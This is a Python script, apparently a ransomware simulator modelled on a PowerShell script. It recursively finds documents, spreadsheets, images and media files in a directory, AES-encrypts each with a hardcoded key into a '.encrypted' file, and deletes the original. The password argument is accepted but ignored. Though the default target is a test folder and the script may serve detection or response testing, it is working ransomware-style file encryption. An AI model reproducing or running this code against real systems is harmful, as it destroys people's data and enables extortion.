Kosta Mushkin
140 lines
4.6 KiB
Python
140 lines
4.6 KiB
Python
#!/usr/bin/env python3
|
|
|
|
import os
|
|
import argparse
|
|
import logging
|
|
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
|
from cryptography.hazmat.primitives import padding
|
|
from cryptography.hazmat.backends import default_backend
|
|
import base64
|
|
import sys
|
|
|
|
def generate_key(password: str) -> bytes:
|
|
"""Generate an AES key from a password."""
|
|
# Using a fixed key for testing (similar to PowerShell script)
|
|
key = "Q5KyUru6wn82hlY9k8xUjJOPIC9da41jgRkpt21jo2L="
|
|
return base64.b64decode(key)
|
|
|
|
def encrypt_file(file_path: str, key: bytes) -> bool:
|
|
"""Encrypt a single file using AES."""
|
|
try:
|
|
# Read the original file
|
|
with open(file_path, 'rb') as file:
|
|
file_data = file.read()
|
|
|
|
# Create an initialization vector
|
|
iv = os.urandom(16)
|
|
|
|
# Create AES cipher
|
|
cipher = Cipher(
|
|
algorithms.AES(key),
|
|
modes.CBC(iv),
|
|
backend=default_backend()
|
|
)
|
|
encryptor = cipher.encryptor()
|
|
|
|
# Add padding
|
|
padder = padding.PKCS7(128).padder()
|
|
padded_data = padder.update(file_data) + padder.finalize()
|
|
|
|
# Encrypt the data
|
|
encrypted_data = encryptor.update(padded_data) + encryptor.finalize()
|
|
|
|
# Write the encrypted data to a new file
|
|
encrypted_path = f"{file_path}.encrypted"
|
|
with open(encrypted_path, 'wb') as file:
|
|
# Write IV first, then encrypted data
|
|
file.write(iv)
|
|
file.write(encrypted_data)
|
|
|
|
# Remove the original file
|
|
os.remove(file_path)
|
|
|
|
return True
|
|
|
|
except Exception as e:
|
|
logging.error(f"Failed to encrypt {file_path}: {str(e)}")
|
|
return False
|
|
|
|
def encrypt_directory(base_dir: str, password: str):
|
|
"""Encrypt all files in the specified directory."""
|
|
try:
|
|
# Generate encryption key
|
|
key = generate_key(password)
|
|
|
|
# Define target file extensions (same as PowerShell script)
|
|
target_extensions = [
|
|
'.pdf', '.xls', '.xlsx', '.ppt', '.pptx', '.doc', '.docx',
|
|
'.rtf', '.txt', '.csv', '.jpg', '.jpeg', '.png', '.gif',
|
|
'.avi', '.midi', '.mov', '.mp3', '.mp4', '.mpeg', '.mpg', '.ogg'
|
|
]
|
|
|
|
# Get list of files to encrypt
|
|
files = []
|
|
for root, _, filenames in os.walk(base_dir):
|
|
for filename in filenames:
|
|
if any(filename.lower().endswith(ext) for ext in target_extensions) and \
|
|
not filename.endswith('.encrypted'):
|
|
files.append(os.path.join(root, filename))
|
|
|
|
total_files = len(files)
|
|
|
|
if total_files == 0:
|
|
logging.info("No files found to encrypt")
|
|
return
|
|
|
|
logging.info(f"Found {total_files} files to encrypt")
|
|
|
|
# Track progress
|
|
successful = 0
|
|
failed = 0
|
|
|
|
# Process each file
|
|
for i, file_path in enumerate(files, 1):
|
|
logging.info(f"Encrypting {file_path}")
|
|
|
|
if encrypt_file(file_path, key):
|
|
successful += 1
|
|
else:
|
|
failed += 1
|
|
|
|
# Log progress every 100 files or at the end
|
|
if i % 100 == 0 or i == total_files:
|
|
logging.info(f"Processed {i}/{total_files} files...")
|
|
|
|
# Log final results
|
|
logging.info("Encryption complete!")
|
|
logging.info(f"Successfully encrypted: {successful} files")
|
|
if failed > 0:
|
|
logging.warning(f"Failed to encrypt: {failed} files")
|
|
|
|
except Exception as e:
|
|
logging.error(f"Encryption failed: {str(e)}")
|
|
raise
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Encrypt files in directory")
|
|
parser.add_argument("--base_dir", default="~/encryption_test",
|
|
help="Base directory containing files to encrypt (default: ~/encryption_test)")
|
|
parser.add_argument("--password", required=True,
|
|
help="Password for encryption")
|
|
args = parser.parse_args()
|
|
|
|
# Configure logging
|
|
logging.basicConfig(
|
|
level=logging.INFO,
|
|
format='%(asctime)s - %(levelname)s - %(message)s'
|
|
)
|
|
|
|
# Expand user path (~/...)
|
|
base_dir = os.path.expanduser(args.base_dir)
|
|
|
|
# Verify directory exists
|
|
if not os.path.isdir(base_dir):
|
|
logging.error(f"Directory not found: {base_dir}")
|
|
sys.exit(1)
|
|
|
|
encrypt_directory(base_dir, args.password)
|
|
|
|
if __name__ == "__main__":
|
|
main() |